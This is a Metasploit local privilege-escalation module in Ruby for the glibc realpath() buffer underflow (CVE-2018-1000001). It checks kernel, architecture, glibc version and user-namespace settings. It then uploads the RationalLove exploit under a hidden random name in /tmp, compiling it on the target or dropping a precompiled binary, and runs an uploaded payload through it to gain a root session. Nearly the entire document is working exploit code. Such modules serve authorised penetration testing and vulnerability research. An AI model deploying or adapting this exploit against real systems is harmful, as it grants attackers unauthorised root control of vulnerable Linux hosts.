glibc 'realpath()' Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "glibc 'realpath()' Privilege Escalation",
        'Description' => %q{
          This module attempts to gain root privileges on Linux systems by abusing
          a vulnerability in GNU C Library (glibc) version 2.26 and prior.

          This module uses halfdog's RationalLove exploit to exploit a buffer
          underflow in glibc realpath() and create a SUID root shell. The exploit
          has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1.

          The target system must have unprivileged user namespaces enabled.

          This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64)
          with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc
          version 2.24-11+deb9u1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'halfdog', # Discovery and RationalLove.c exploit
          'bcoles' # Metasploit
        ],
        'DisclosureDate' => '2018-01-16',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [[ 'Auto', {} ]],
        'Privileged' => true,
        'References' => [
          [ 'BID', '102525' ],
          [ 'CVE', '2018-1000001' ],
          [ 'EDB', '43775' ],
          [ 'URL', 'https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/' ],
          [ 'URL', 'http://www.openwall.com/lists/oss-security/2018/01/11/5' ],
          [ 'URL', 'https://securitytracker.com/id/1040162' ],
          [ 'URL', 'https://sourceware.org/bugzilla/show_bug.cgi?id=22679' ],
          [ 'URL', 'https://usn.ubuntu.com/3534-1/' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1533836' ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['RationalLove.c']
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
    ]
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data)
    upload "#{path}.c", data

    gcc_cmd = "gcc -w -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
    cmd_exec "chmod +x #{path}"
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file)
  end

  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    version = kernel_release
    if Rex::Version.new(version.split('-').first) < Rex::Version.new('2.6.36')
      vprint_error "Linux kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Linux kernel version #{version} is vulnerable"

    arch = kernel_hardware
    unless arch.include? 'x86_64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    version = glibc_version
    if Rex::Version.new(version.split('-').first) > Rex::Version.new('2.26')
      vprint_error "GNU C Library version #{version} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{version} is vulnerable"

    # fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1
    glibc_banner = cmd_exec('ldd --version')
    unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9')
      vprint_error 'No offsets for this version of GNU C Library'
      return CheckCode::Safe
    end

    config = kernel_config
    if config.nil?
      vprint_error 'Could not retrieve kernel config'
      return CheckCode::Unknown
    end

    unless config.include? 'CONFIG_USER_NS=y'
      vprint_error 'Kernel config does not include CONFIG_USER_NS'
      return CheckCode::Safe
    end
    vprint_good 'Kernel config has CONFIG_USER_NS enabled'

    unless userns_enabled?
      vprint_error 'Unprivileged user namespaces are not permitted'
      return CheckCode::Safe
    end
    vprint_good 'Unprivileged user namespaces are permitted'

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable
    executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
    @executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile @executable_path, strip_comments(exploit_data('RationalLove.c'))
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx @executable_path, exploit_data('RationalLove')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30
    output.each_line { |line| vprint_status line.chomp }
  end

  def on_new_session(client)
    # remove root owned SUID executable
    if client.type.eql? 'meterpreter'
      client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi'
      client.fs.file.rm @executable_path
    else
      client.shell_command_token "rm #{@executable_path}"
    end
  end
end